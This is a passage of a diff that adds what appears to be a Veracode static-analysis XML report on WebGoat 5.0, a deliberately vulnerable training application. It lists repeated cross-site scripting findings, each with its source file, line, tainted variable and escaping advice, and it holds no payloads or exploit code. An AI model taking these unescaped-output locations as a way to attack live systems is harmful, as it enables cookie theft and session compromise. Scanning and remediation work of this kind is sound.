+        line=\"178\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"59\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"124\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable menu.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"180\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"60\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"101\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getRestartLink().
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"194\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"64\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"90\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printParameters.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"212\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"73\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"16\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.println\" description=\"This call to javax.servlet.jsp.JspWriter.println()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to println() contains tainted data from the variable printCookies.
+        The tainted data originated from an earlier call to javax.servlet.http.httpservletrequest.getcookies.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"223\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"79\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"269\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getMessage().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.http.httpservletrequest.getcookies, and javax.servlet.http.httpservletrequest.getheader.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"main_jsp.java\"
+        line=\"231\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/\" scope=\"com.veracode.compiledjsp.xWebGoat50war.main_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"84\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"103\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"187\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"193\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable searchedName.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparameter.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SearchStaff_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.SearchStaff_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"48\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"121\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"java.io.PrintWriter.print\" description=\"This call to java.io.PrintWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable result.
+        The tainted data originated from an earlier call to javax.servlet.servletrequest.getparametervalues.
+        The tainted data is directed into an output stream returned by javax.servlet.servletresponse.getoutputstream.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"SilentTransactions.java\"
+        line=\"94\" sourcefilepath=\"org/owasp/webgoat/lessons/\" scope=\"org.owasp.webgoat.lessons.SilentTransactions\"
+        functionprototype=\"void handleRequest(session.WebSession)\" functionrelativelocation=\"52\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"23\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"35\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"9\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"256\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
